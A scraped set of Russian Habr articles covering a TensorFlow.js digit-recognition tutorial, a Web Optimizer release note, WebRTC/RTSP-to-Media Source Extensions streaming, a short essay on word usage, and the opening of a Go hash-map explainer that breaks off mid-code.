model = tf.keras.models.Sequential()
model.add(normConvBlock(64, name='b1'))
model.add(normConvBlock(128, name='b2'))
model.add(tf.keras.layers.Flatten(name='flat'))
model.add(tf.keras.layers.Dense(10, activation='softmax', name='logit'))
# compile model with adam optimizer and crossentropy loss
# note that 'sparse_categorical_crossentropy' loss should be used as our target
# is encoded as ordinal. if using one hot change this to 'categorical_crossentropy'
model.compile('adam', 'sparse_categorical_crossentropy', metrics=['acc'])
# test model with a sample image
_ = model(tx[:1,:,:,:])
# summary of model structure
tf.keras.utils.plot_model(
model,
show_shapes=True,
show_layer_names=True,
show_dtype=True,
expand_nested=True,
dpi = 50
)
```
Код выше отобразит структуру модели:
Предлагаемая архитектура модели состоит из двух наборов слоёв normConvBlock (b1 и b2), за ними следуют плоский и плотный слоиЧтобы обучить модель, вызовем `model.fit` с обработанными выше данными, а также определим обратный вызов ранней остановки, чтобы избежать переобучения:
```
# define an early stopping callback. This callback will load the iteration with
# the best val loss at the end of training
es_call = tf.keras.callbacks.EarlyStopping(
monitor='val_loss', min_delta=0, patience=2, verbose=0,
mode='auto', baseline=None, restore_best_weights=True
)
# fit the model with the mnist dataset
history = model.fit(tx, ty, validation_data=(vx, vy), epochs=20, batch_size=1024, callbacks=[es_call])
```
Точности модели достаточно для примера (~99 % в наборе валидации). Если нужна модель точнее, измените её структуру или дополните набор данными:
```
Epoch 11/20 59/59 [==============================] - 3s 50ms/step - loss: 0.0317 - acc: 0.9906 - val_loss: 0.0338 - val_acc: 0.9899 Epoch 12/20 59/59 [==============================] - 3s 50ms/step - loss: 0.0292 - acc: 0.9913 - val_loss: 0.0496 - val_acc: 0.9823 Epoch 13/20 59/59 [==============================] - 3s 50ms/step - loss: 0.0275 - acc: 0.9918 - val_loss: 0.0422 - val_acc: 0.9866
```
### Весь код
* [Github](https://github.com/andreRibeiro1989/medium/tree/main/tensorflowjs/digit_recognition)
* [Colab](https://colab.research.google.com/github/andreRibeiro1989/medium/blob/main/tensorflowjs/digit_recognition/tensorflow_js_training.ipynb)
TensorFlow.js
-------------
Для взаимодействия с моделью TensorFlow.js разработаем набор компонентов HTML и JavaScript. TensorFlow.js — это библиотека с открытым исходным кодом для обучения и запуска моделей ML полностью в браузере при помощи JavaScript и высокоуровневого API.
### Преобразуем TensorFlow в TensorFlow.js
Первый шаг размещения модели TensorFlow в браузере — её преобразование в модель TensorFlow.js, для которого можно вызвать метод `tensorflowjs.converters.save_keras_model` библиотеки `tensorflowjs`.
```
# install / update the tensorflowjs package
!pip install tensorflowjs > /dev/null 2>&1
import tensorflowjs
print(tensorflowjs.__version__)
# convert keras model to tensorflow js
tensorflowjs.converters.save_keras_model(model, './mnist_tf_keras_js_model/')
```
> При работе в Colab загрузите файлы на локальную машину, они нам понадобятся.
>
>
```
# download generated files from colab to local
from google.colab import files
files.download("mnist_tf_keras_js_model/group1-shard1of1.bin")
files.download("mnist_tf_keras_js_model/model.json")
```
### Пишем веб-интерфейс
Начнём со структуры приложения. В папке `digit_recognition` создайте два файла с именами `index.html` и `script.js`. Внутри `digit_recognition` создайте папку `tensorflow`. Скопируйте два файла из блокнота Colab, `group1-shard1of1.bin` и `model.json` , в новую папку, вот так:
```
- digit_recognition/
- index.html
- script.js
- tensorflow/
- group1-shard1of1.bin
- model.json
```
Откройте `index.html` любым редактором кода и скопируйте в него код ниже. Этот сценарий определяет основные компоненты для рисования и распознавания цифры:
```
Draw a number
=============
Prediction
Predict
Clear
```
Разберём код:
* В разделе загружаются TensorFlow.js и её зависимости.
* Строка 23 создаёт кнопку вызова функции вывода модели `predictModel`, которая запустится после нажатия, результат предсказания вы увидите в теге .
* На строке 26 создаётся кнопка очистки холста `erase`.
* Строка 31 определяет объект `canvas`, где мы будем рисовать цифру для распознавания.
* В строке 35 содержится файл script.js с логикой JavaScript, которая переносит цифру с холста в тензор и применяет модель.
Откройте файл `script.js` и добавьте показанные ниже фрагменты кода.
Основные переменные скрипта:
```
// define relevant variables
var canvas = document.getElementById("canvas");
var ctx = canvas.getContext('2d');
var dragging = false;
var pos = { x: 0, y: 0 };
```
Триггеры холста:
* По событию `mousedown` (нажатию и удержанию кнопки) запускается сценарий, который инициирует рисование и записывает текущее положение мыши/прикосновения.
* По событию `mousemove` скрипт начинает рисовать на холсте. По `mouseup` (когда отпускаем кнопки мыши) срабатывает останавливающий рисование скрипт:
```
// define event listeners for both desktop and mobile
// nontouch
canvas.addEventListener('mousedown', engage);
canvas.addEventListener('mousedown', setPosition);
canvas.addEventListener('mousemove', draw);
canvas.addEventListener('mouseup', disengage);
// touch
canvas.addEventListener('touchstart', engage);
canvas.addEventListener('touchmove', setPosition);
canvas.addEventListener('touchmove', draw);
canvas.addEventListener('touchend', disengage);
```
Чтобы правильно выбрать событие в `setPosition`, напишем функцию проверки того, поддерживается ли устройством сенсорное управление:
```
// detect if it is a touch device
function isTouchDevice() {
return (
('ontouchstart' in window) ||
(navigator.maxTouchPoints > 0) ||
(navigator.msMaxTouchPoints > 0)
);
}
```
Определим флаги начала и прекращения рисования:
```
// define basic functions to detect click / release
function engage() {
dragging = true;
};
function disengage() {
dragging = false;
};
```
Запишем положение мыши/прикосновения. Обратите внимание, что нам нужно знать, поддерживается ли сенсорное управление:
```
// get the new position given a mouse / touch event
function setPosition(e) {
if (isTouchDevice()) {
var touch = e.touches[0];
pos.x = touch.clientX - ctx.canvas.offsetLeft;
pos.y = touch.clientY - ctx.canvas.offsetTop;
} else {
pos.x = e.clientX - ctx.canvas.offsetLeft;
pos.y = e.clientY - ctx.canvas.offsetTop;
}
}
```
Перейдём к функции рисования.
Флаг `draging` определяет, рисует ли пользователь прямо сейчас (строка 8). Если это так, между прошлой позицией из `setPosition` и текущей позицией возникает линия, это строки с 18 по 21:
```
// draws a line in a canvas if mouse is pressed
function draw(e) {
e.preventDefault();
e.stopPropagation();
// to draw the user needs to be engaged (dragging = True)
if (dragging) {
// begin drawing
ctx.beginPath();
// attributes of the line
ctx.lineWidth = 40;
ctx.lineCap = 'round';
ctx.strokeStyle = 'red';
// get current position, move to new position, create line from current to new
ctx.moveTo(pos.x, pos.y);
setPosition(e);
ctx.lineTo(pos.x, pos.y);
// draw
ctx.stroke();
}
}
```
Очистка canvas:
```
// clear canvas
function erase() {
ctx.clearRect(0, 0, canvas.width, canvas.height);
}
```
Загрузим модель. Метод `tf.loadLayersModel` загружает модель по URL или из локального каталога (строка 5). При первом предсказании она инициализирует веса, поэтому, чтобы во время первого предсказания избежать задержки, рекомендуется разогреть её (строка 8):
```
// defines a TF model load function
async function loadModel(){
// loads the model
model = await tf.loadLayersModel('tensorflow/model.json');
// warm start the model. speeds up the first inference
model.predict(tf.zeros([1, 28, 28, 1]))
// return model
return model
}
```
Получим текущие данные о цифре с холста:
```
// gets an image tensor from a canvas
function getData(){
return ctx.getImageData(0, 0, canvas.width, canvas.height);
}
```
Теперь о функции выводов модели:
* `getData` загружает данные холста (строка 5).
* `tf.browser.fromPixels` преобразует их в тензор (строка 8).
* `tf.image.resizeBilinear` изменяет размер изображения до размера для модели (строка 11).
* `model.predict` получает предсказание на строке 14, а строка 17 устанавливает цифру из прогноза `y.argMax(1)` в тег .
```
// defines the model inference functino
async function predictModel(){
// gets image data
imageData = getData();
// converts from a canvas data object to a tensor
image = tf.browser.fromPixels(imageData)
// pre-process image
image = tf.image.resizeBilinear(image, [28,28]).sum(2).expandDims(0).expandDims(-1)
// gets model prediction
y = model.predict(image);
// replaces the text in the result tag by the model prediction
document.getElementById('result').innerHTML = "Prediction: " + y.argMax(1).dataSync();
}
```
### Тестируем модель
Ради безопасности браузеры ограничивают HTTP-запросы от скриптов. Это означает, что веб-приложение может запрашивать ресурсы только из того источника, откуда оно загрузилось, если ответ от других источников не содержит правильных заголовков Cross-Origin Resource Sharing (CORS). Здесь воспользуемся Firefox.
Чтобы разрешить CORS в Firefox, введите `about:config` в поиске внутри Firefox, в строке открывшейся страницы введите `privacy.file_unique_origin` и измените значение по умолчанию на `false`.
Откройте `index.html` в Firefox:
А теперь нарисуем цифру и нажмём Predict:
> Для размещения модели в сети автор оригинала использует хранилище Amazon S3, а для очень простых экспериментов подойдёт, например, Github Pages, отдельно отключать защиту CORS уже будет не нужно, поскольку всё будет выполняться на одном ресурсе.
>
>
### Модель в действии
* [Для мобильных и десктопов](http://portfolio.dataisawesome.com/projects/digit_recognition/index.html).
* [Только для мобильных](http://portfolio.dataisawesome.com/projects/digit_recognition/index_mobile.html).
* [Github](https://github.com/andreRibeiro1989/medium/tree/main/tensorflowjs/digit_recognition).
Эта статья напоминает, что модели машинного обучения могут работать не только в очень сложных, непривычных непосвящённому человеку системах, но и в самом простом окружении, а со временем искусственный интеллект, который называют новым электричеством, будет занимать всё больше места в быту. Если хочется изменить карьеру или прокачать свои навыки в ML, вы можете присмотреться к нашему курсу [«Machine Learning и Deep Learning»](https://skillfactory.ru/ml-and-dl?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MLDL&utm_term=regular&utm_content=280721), а если интереснее веб-разработка, обратите внимание на [курс по фронтенду](https://skillfactory.ru/frontend?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FR&utm_term=regular&utm_content=280721) или по [Fullstack-разработке на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FPW&utm_term=regular&utm_content=280721). Также вы можете [узнать](https://skillfactory.ru/courses/?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ALLCOURSES&utm_term=regular&utm_content=280721), как начать развиваться или выйти на новый уровень в других направлениях:
**Machine Learning, Data Science и Python**
* [Курс «Machine Learning и Deep Learning»](https://skillfactory.ru/ml-and-dl?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MLDL&utm_term=regular&utm_content=280721)
* [Курс по Machine Learning](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ML&utm_term=regular&utm_content=280721)
* [Профессия Data Scientist](https://skillfactory.ru/dstpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DSPR&utm_term=regular&utm_content=280721)
* [Профессия Data Analyst](https://skillfactory.ru/dataanalystpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DAPR&utm_term=regular&utm_content=280721)
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FPW&utm_term=regular&utm_content=280721)
* [Курс «Математика для Data Science»](https://skillfactory.ru/math-stat-for-ds#syllabus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MAT&utm_term=regular&utm_content=280721)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/math_and_ml?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MATML&utm_term=regular&utm_content=280721)
* [Курс по Data Engineering](https://skillfactory.ru/dataengineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEA&utm_term=regular&utm_content=280721)
**Веб-разработка**
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_PWS&utm_term=regular&utm_content=280721)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FR&utm_term=regular&utm_content=280721)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_WEBDEV&utm_term=regular&utm_content=280721)
**Мобильная разработка**
* [Профессия iOS-разработчик](https://skillfactory.ru/iosdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_IOSDEV&utm_term=regular&utm_content=280721)
* [Профессия Android-разработчик](https://skillfactory.ru/android?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ANDR&utm_term=regular&utm_content=280721)
**Java и C#**
* [Профессия Java-разработчик](https://skillfactory.ru/java?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_JAVA&utm_term=regular&utm_content=280721)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_QAJA&utm_term=regular&utm_content=280721)
* [Профессия C#-разработчик](https://skillfactory.ru/csharp?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_CDEV&utm_term=regular&utm_content=280721)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-dev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_GAMEDEV&utm_term=regular&utm_content=280721)
**От основ — в глубину**
* [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algo?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_algo&utm_term=regular&utm_content=280721)
* [Профессия C++ разработчик](https://skillfactory.ru/cplus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_CPLUS&utm_term=regular&utm_content=280721)
* [Профессия Этичный хакер](https://skillfactory.ru/cybersecurity?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_HACKER&utm_term=regular&utm_content=280721)
**А также:**
* [Курс по DevOps](https://skillfactory.ru/devops?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEVOPS&utm_term=regular&utm_content=280721) | https://habr.com/ru/post/570096/ | null | ru | null |
# Версия 0.3.5
[Web Optimizer](http://code.google.com/p/web-optimizator/) (Веб Оптимизатор) — приложение, автоматизирующее все действия по клиентской оптимизации для произвольного сайта. На данный момент оно существует в виде отдельного приложения (которое нужно самостоятельно установить на сайт). Приложение протестировано и установлено на таких CMS как Drupal 5 и 6, Joomla 1.0 и 1.5, Wordpress 2.7 и многих других.
[Подробное руководство по установке](http://webo.in/articles/habrahabr/87-web-optimizer-installation/).
[Загрузить версию 0.3.5](http://web-optimizator.googlecode.com/files/web-optimizer.v0.3.5.zip).
[Загрузить мини-установщик версии 0.3.5](http://web-optimizator.googlecode.com/files/install.me.php).
### Список изменений
Сразу хочется поблагодарить всех, кто принимает участие в тестировании и рассказывает о возникающих проблемах. Дело, действительно, движется вперед, и движется очень неплохим темпом. Улучшения по сравнению с версией 0.3:
* Улучшено вычисление директорий установки и работы Web Optimizer. Теперь его можно установить в произвольную директорию.
* На основе уже [опубликованного алгоритма для CSS Sprites](http://webo.in/articles/habrahabr/89-css-sprites-2.0) переработана текущая логика и улучшено объединение файлов.
* Добавлен список файлов для исключения при создании CSS Sprites.
* Добавлен «агрессивный» режим при создании CSS Sprites. При его включении все изображения с повторением по отдельным осям (`repeat-x` и `repeat-y`) будут объединятся в один соответствующий файл (без влияния абсолютных размеров их контейнера). Это может ускорить загрузку страницы в одних случаях и «сломать» дизайн в других. Собственно поэтому данная настройка по умолчанию выключена.
* Добавлено альтернативные методы уменьшения JavaScript-файлов на основе Packer от Dean Edwards (YUI будет в следующих версиях).
* Добавлен список файлов для исключения при объединении JavaScript-файлов.
* После многочисленных жалоб «ненавязчивый» JavaScript по умолчанию выключен в конфигурации. Вместо него производится простое объединение файлов из `head` страницы. Эту настройку можно по-прежнему включить обратно, если клиентская логика позволяет это сделать.
* Добавлен мини-установщик (один PHP-файл в 4 Кб), который нужно скопировать в корень сайта и открыть после этого в браузере. Он сам загрузит последнюю версию приложения и запустит его установку. Достаточно удобно, если не хочется возиться с загрузкой и распаковкой архива.
* Добавлена локализация. Доступные языки: EN и RU. Желающие создать перевод приложения для других языков пожалуйста, отпишитесь в комментариях или в приват.
* Установка и работа Web Optimizer успешно протестирована на следующих системах:
+ Joomla 1.0.15
+ Joomla 1.5.0
+ Joomla 1.5.9
+ Joomla 1.5.10
+ Drupal 6.10
+ Drupal 5.16
+ Wordpress 2.7.1
+ Typo3 4.2
+ Simpla
+ PHP Nuke 8.0
+ и некоторых других
* Конфигурационный файл изменился на `config.webo.php` для совместимости с PHP-Nuke и некоторыми другими системами.
* Естественно, исправлено большое количество мелких недочетов и фактических неточностей.
### Небольшой FAQ
После большого числа вопросов хочется осветить некоторое количество проблемных моментов (в основном они касаются JavaScript-логики). На основе таких советов в дальнейшем будет сформировано руководство по использованию Web Optimizer.
Во-первых, как уже было указано выше, далеко не все системы позволяют легко переключиться на использование «Ненавязчивого» JavaScript. Если вы слышите этот термин впервые, то лучше ознакомиться с [соответствующим циклом статей](http://webo.in/articles/all/04-unobtrusive-javascript-operation-clean-up/). Использование этого подхода позволяет существенно повысить скорость загрузки сайта, однако требует соблюдения некоторых правил при использовании клиентской логики на сайте. Так как сейчас по умолчанию эта настройка выключена, то проблем со стандартной установкой Web Optimizer это не принесет.
Во-вторых, в некоторых случаях (довольно редких) JavaScript-код может быть написан не очень корректно, в результате чего при разборе и уменьшении его по спецификации (с помощью JSMin) возникают проблемы, связанные с неработоспособностью определенных частей. В этом случае рекомендуется проверить текущие скрипты с помощью [JSLint](http://jslint.com/) и(ли) воспользоваться альтернативными механизмами для минимизации кода (Packer, YUI Compressor), а может быть, даже отключить сжатие скриптов (если включен `gzip`, то его будет вполне достаточно).
В-третьих, иногда ситуация портят байты, оставленные Блокнотом в начале файле при его редактировании в UTF-кодировке. В некоторых случаях они способны поломать верстку, иногда же браузеры их игнорируют, поэтому проблема не всегда бывает понятна. Рекомендуется в случае «поломанных» файлов проверить исходные (CSS- или JavaScript-файлы) на предмет наличия в их начале специфических символов (естественно, в самом Блокноте они не видны, проверять стоит любым альтернативным текстовым редактором). И удалить их оттуда.
В-четвертых, если в дизайне сайта используются полноцветные изображения и не используется прозрачность, то имеет смысл включить настройку «Сохранять CSS Sprites в JPEG»: тогда размер финальных файлов будет существенно меньше. Если используется прозрачность, то PNG подходит значительно лучше.
Как обычно любые пожелания и комментарии приветствуются. Сейчас для проекта нужно:
* Функциональные требования для дальнейшего улучшения.
* Перенос на Perl, Java, Python — кто-нибудь может посодействовать?
* Разработка логотипа и фирменного стиля (сейчас все веб-приложение — это 5-7 простых страничек, работы в этой области планируется не так много). Если желающих сделать дизайн для приложения наберется много — устроим конкурс и выберем лучшее решение по мнению пользователей :)
* Желание и немного времени для установки приложения на свою систему. Обо всех проблемах можно и нужно писать в комментариях или в приват.
Сайт проекта пока находится только в Google Code: [code.google.com/p/web-optimizator](http://code.google.com/p/web-optimizator/)
Загрузить последнюю версию приложения можно здесь: [code.google.com/p/web-optimizator/downloads/list](http://code.google.com/p/web-optimizator/downloads/list)
Любые проблемные вопросы можно отправлять сюда: [code.google.com/p/web-optimizator/issues/list](http://code.google.com/p/web-optimizator/issues/list)
А исходный файл для локализации находится по адресу: [web-optimizator.googlecode.com/svn/trunk/libs/php/lang/en.php](http://web-optimizator.googlecode.com/svn/trunk/libs/php/lang/en.php)
Канал на Twitter с последними новостями: [twitter.com/wboptimizer](http://twitter.com/wboptimizer) | https://habr.com/ru/post/56745/ | null | ru | null |
# Транслируем WebRTC, RTSP и RTMP потоки на Media Source Extensions по протоколу Websocket
Media Source Extensions
-----------------------
Media Source Extensions (далее MSE) — это API браузера, позволяющее играть аудио и видео через соответствующие HTML5 тэги и .
Чтобы проиграть кусок аудио или видео, нужно скормить этот chunk в данный элемент через MSE API. На основе MSE построены HLS-плееры. HLS фрагменты передаются в MSE и отображаются в плеере.
Давайте посмотрим на его [Can I Use](https://caniuse.com/#search=mediasource) подробнее.
Как видно из таблицы, MSE поддерживается во всех последних браузерах, кроме iOS Safari и Opera Mini. В этом плане он [очень похож](https://caniuse.com/#search=getUserMedia) на WebRTC, и даже обходит WebRTC по доступности в Safari и IE. Надо сказать, что в Safari 11 WebRTC уже есть, но его на момент написания этой статьи, еще не зарелизили.
Стоит отметить, что MSE и WebRTC — это технологии разных весовых категорий. Грубо говоря, MSE — это только плеер, а WebRTC — это и плеер и стример и звонки (реалтаймовый стриминг с низкой задержкой).
Таким образом, если вам нужен только плеер и нет требований реалтайма (задержки менее 1 секунды), то MSE — это хороший выбор для воспроизведения видеопотоков. Если же нужен реалтайм и без плагинов, то вариантов нет. Нужно брать WebRTC.
| | |
| --- | --- |
| **Media Source Extensions** | **WebRTC** |
| Только плеер | Плеер и Стример |
| Средняя задержка | Реалтайм (задержка менее 1 секунды) |
WebRTC to MSE
-------------
Предположим WebRTC выступает в качестве стримера. Это значит, что браузер или мобильное приложение отправляет видеопоток на сервер.
Самый быстрый способ забрать видеопоток в MSE — это подключиться к серверу по протоколу Websocket и доставить стрим до браузера. В плеере разобрать полученный поток и передать в MSE для воспроизведения.
Схема трансляции:
1. Браузер транслирующего отправляет на сервер WebRTC поток H.264+Opus
2. WebRTC сервер раздает поток по протоколу Websocket H.264+AAC
3. Браузер зрителя раскрывает поток и отдает H.264 и AAC фреймы на воспроизведение в MSE.
4. Плеер играет аудио и видео.
Таким образом, при использовании Media Source Extensions в качестве плеера, видео часть WebRTC потока с кодеком H.264 проходит на плеер без транскодинга (проксируется), что помогает сохранить низким использование CPU на сервере.
Аудиокодек Opus транскодируется в AAC для успешного чтения в MSE, но аудио транскодинг уже намного менее ресурсозатратен чем видео.
Примеры
-------
Эти примеры стримера и MSE плеера используют Web Call Server 5 в качестве сервера, конвертирующего WebRTC видеопоток для использования в Media Source Extensions.
В качестве стримера используем [веб-приложение Two Way Streaming](https://wcs5-eu.flashphoner.com/demo2/two-way-streaming), которое отправляет WebRTC видеопоток на сервер.
В качестве плеера, используем [тестовый плеер](https://wcs5-eu.flashphoner.com/client2/examples/demo/streaming/player/player.html?mediaProvider=MSE) с поддержкой Websockets и MSE.
Код плеера MSE работает через высокоуровневое API.
Создаем div — элемент на HTML-странице
И далее вызываем воспроизведение видеопотока.
Передаем div — элемент параметром display и MSE плеер будет вставлен в этот div-блок.
```
session.createStream({name:"stream22",display:document.getElementById("myMSE")}).play();
```
Аналогичным образом работает публикация WebRTC потока с другой страницы.
Потоку назначается уникальное имя stream22, которое будет указано при воспроизведении.
```
session.createStream({name:"stream22",display:document.getElementById("myWebCam")}).publish();
```
Полный код стримера и плеера можно найти на github.
- [стример](https://github.com/flashphoner/flashphoner_client/tree/wcs_api-2.0/examples/demo/streaming/two_way_streaming)
- [плеер](https://github.com/flashphoner/flashphoner_client/tree/wcs_api-2.0/examples/demo/streaming/player)
RTSP to MSE
-----------
Еще один кейс использования MSE over Websockets — это воспроизведение видео с IP-камеры или другой системы, которая отдает видеопоток по RTSP.
IP камера, как правило, нативно поддерживает H.264 и AAC кодеки, поэтому кодеки полностью совпадают с теми, что используются на MSE. Это помогает избежать транскодинга, поглощающего ресурсы CPU.
Схема трансляции следующая:
1. Браузер просит RTSP поток.
2. Сервер устанавливает соединение с камерой и запрашивает этот поток у камеры по RTSP.
3. Камера отдает RTSP поток. Начинается стриминг.
4. RTSP поток конвертируется в Websockets на стороне сервера и спускается на браузер.
5. Браузер передает поток MSE-плееру для воспроизведения.
Для работы с RTSP потоком используется тот же самый плеер, который мы показывали выше. Просто задается полный урл RTSP потока вместо имени.
На момент написания статьи, мы протестировали MSE плеер в Chrome, Firefox, Safari.
RTMP to MSE
-----------
Протокол RTMP — это фактически стандарт доставки Live контента по направлению от пользователя в CDN.
Поэтому необходимо убедиться в том, что стандартные RTMP потоки с кодеками H.264 и AAC будут корректно играть в Media Source Extensions.
Это можно быстро проверить с помощью кодера типа Wirecast (в качестве альтернативы можно использовать FMLE, ffmpeg, OBS encoder и другие).
1. Открываем Wirecast и меню Output. Задаем адрес сервера и имя RTMP потока как stream44.
2. Стримим поток на сервер.
3.Играем поток в MSE-плеере.
Сравнение с другими технологиями воспроизведения
------------------------------------------------
Теперь посмотрим на MSE в сравнении с другими технологиями воспроизведения видео в браузере.
Для сравнения возьмем 4 технологии:
* WebRTC
* Flash
* HLS
* Canvas + Web Audio
| | | | | | |
| --- | --- | --- | --- | --- | --- |
| | **MSE** | **WebRTC** | **Flash** | **HLS** | **Canvas** |
| Поддержка Chrome, Firefox | Да | Да | Да | Да | Да |
| Поддержка iOS Safari | Нет | Нет | Нет | Да | Да |
| Поддержка Mac Safari | Да | Нет | Да | Да | Да |
| Задержка | 3 | 0.5 | 3 | 20 | 3 |
| Разрешение full HD | Да | Да | Да | Да | Нет |
Таким образом, если вам нужно играть живой поток в браузере с небольшой задержкой, MSE — неплохое решение, замещающее Flash в последних браузерах.
Если задержка абсолютно не важна, стоит использовать HLS, как наиболее универсальный вариант.
Если же низкая задержка критична, нужно использовать комбинацию из WebRTC, Flash, Canvas, MSE чтобы покрыть большинство браузеров.
Задержка должна быть менее 1 секунды и без плагинов, используем WebRTC.
Ссылки
------
[Two Way Streaming](https://wcs5-eu.flashphoner.com/demo2/two-way-streaming) — демо трансляции WebRTC потока на сервер
[Source](https://github.com/flashphoner/flashphoner_client/tree/wcs_api-2.0/examples/demo/streaming/two_way_streaming) — исходный код трансляции WebRTC потока
[Player](https://wcs5-eu.flashphoner.com/client2/examples/demo/streaming/player/player.html?mediaProvider=MSE) — демо плеера с поддержкой Media Source Extension
[Source](https://github.com/flashphoner/flashphoner_client/tree/wcs_api-2.0/examples/demo/streaming/player) — исходный код плеера с поддержкой MSE
[Web Call Server 5](https://flashphoner.com/) — сервер, поддерживающий трансляции WebRTC и RTSP с конвертацией потока для Media Source Extensions
[Can I Use MSE](https://caniuse.com/#search=mediasource) — браузеры, в которых поддерживается MSE
[Can I Use WebRTC](https://caniuse.com/#search=getUserMedia) — браузеры, в которых поддерживается WebRTC | https://habr.com/ru/post/337112/ | null | ru | null |
# Что вы читаете мой принц? Слова, слова, слова…
Замечали ли вы какое значение мы придаем словам которые произносим? Или мы просто их произносим даже не замечая как они меняют нашу жизнь.
Слова-паразиты которые я периодически замечаю у окружающих и у себя самого
`Давай, Удачи*(внезависимости от контекста)*, некоторые крылатые фразы`
Маловато вспомнил — но я думаю вы и сами при случае вспомните пару-тройку словечек. Так вот о чем это я — любые слова так или иначе определяют наш с вами мир. Тот мир что вокруг нас, нашу жизнь даже. Это кажется мистикой или каким то бредом — но имхо это реально.
Попробуйте весь деньб говорить на мате — и посмотрите как измениться ваша жизнь — или наоборот — будьте вежливы насколько это возможно — деепричастные обороты, словесне фееричности и тд и тп. или сплошной сленг — как это изменит вас?
Приведенные примеры — крайние варианты. В реальной жизни какие то изменения в жизни маркируются появлением/исчезновением тех или иных словечек в вашем лексиконе. Или наоборот? Слова порождают изменения в жизни?
Я придерживаюсь точки зрения что слово это способ формирования окружающего мира. Особенно это работает когда вы осознаете власть слова. | https://habr.com/ru/post/57493/ | null | ru | null |
# Хэш таблицы в Go. Детали реализации
Порассуждаем об имплементации map в языке без дженериков, рассмотрим что такое хэш таблица, как она устроена в Go, какие есть плюсы и минусы данной реализации и на что стоит обратить внимание при использовании данной структуры.
Детали под катом.
---
Внимание! Кто уже знаком с хэш-таблицами в Go, советую пропустить основы и отправиться [сюда](#GoMap), иначе есть риск устать к самому интересному моменту.
#### Что такое хэш таблица
Для начала все-таки напомню, что такое хэш таблица. Это структура данных, которая позволяет хранить пары ключ-значение, и, как правило, обладающая функциями:
* Маппинга: `map(key) → value`
* Вставки: `insert(map, key, value)`
* Удаления: `delete(map, key)`
* Поиска: `lookup(key) → value`
#### Хэш таблица в языке go
Хэш таблица в языке go представлена ключевым словом map и может быть объявлена одним из способов ниже (подробнее о них позже):
```
m := make(map[key_type]value_type)
m := new(map[key_type]value_type)
var m map[key_type]value_type
m := map[key_type]value_type{key1: val1, key2: val2}
```
Основные операции производятся так:
* Вставка:
```
m[key] = value
```
* Удаление:
```
delete(m, key)
```
* Поиск:
```
value = m[key]
```
или
```
value, ok = m[key]
```
#### Обход таблицы в go
Рассмотрим следующую программу:
```
package main
import "fmt"
func main() {
m := map[int]bool{}
for i := 0; i < 5; i++ {
m[i] = ((i % 2) == 0)
}
for k, v := range m {
fmt.Printf("key: %d, value: %t\n", k, v)
}
}
```
Запуск 1:
```
key: 3, value: false
key: 4, value: true
key: 0, value: true
key: 1, value: false
key: 2, value: true
```
Запуск 2:
```
key: 4, value: true
key: 0, value: true
key: 1, value: false
key: 2, value: true
key: 3, value: false
```
Как видим, вывод разнится от запуска к запуску. А все потому, что мапа в Go unordered, то есть не упорядоченная. Это значит, что полагаться на порядок при обходе не надо. Причину можно найти в исходном коде рантайма языка:
```
// mapiterinit initializes the hiter struct used for ranging over maps.
func mapiterinit(t *maptype, h *hmap, it *hiter) {...
// decide where to start
r := uintptr(fastrand())
...
it.startBucket = r & bucketMask(h.B)...}
```
Место поиска определяется **рандомно**, запомните это! Ходят слухи, что так разработчики рантайма заставляют пользователей не полагаться на порядок.
#### Поиск в таблице Go
Снова рассмотрим кусок кода. Предположим, мы хотим создать пары «число»-«число умноженное на 10»:
```
package main
import (
"fmt"
)
func main() {
m := map[int]int{0: 0, 1: 10}
fmt.Println(m, m[0], m[1], m[2])
}
```
Запускаем:
```
map[0:0 1:10] 0 10 0
```
И видим, что при попытке получить значение двойки (которую забыли положить) получили 0. Находим в [документации](https://golang.org/doc/effective_go.html?h=map#maps) строки, объясняющие это поведение: «An attempt to fetch a map value with a key that is not present in the map will return the zero value for the type of the entries in the map.», а в переводе на русский это означает, что когда мы пытаемся получить значение из мапы, а его там нет, получаем «нулевое значение типа», что в случае числа 0. Что же делать, если мы хотим различать случаи 0 и отсутствия 2? Для этого придумали специальную форму «multiple assignment» — форма, когда вместо привычного одного значения мапа возвращает пару: само значение и еще одно булевое, отвечающее на вопрос, присутствует ли запрошенный ключ в мапе или нет"
Правильно предыдущий кусок кода будет выглядеть так:
```
package main
import (
"fmt"
)
func main() {
m := map[int]int{0: 0, 1: 10}
m2, ok := m[2]
if !ok {
// somehow process this case
m2 = 20
}
fmt.Println(m, m[0], m[1], m2)
}
```
И при запуске получим:
`map[0:0 1:10] 0 10 20`
#### Создание таблицы в Go.
Допустим, мы хотим посчитать количество вхождений каждого слова в строке, заведем для этого словарь и пройдемся по нему.
```
package main
func main() {
var m map[string]int
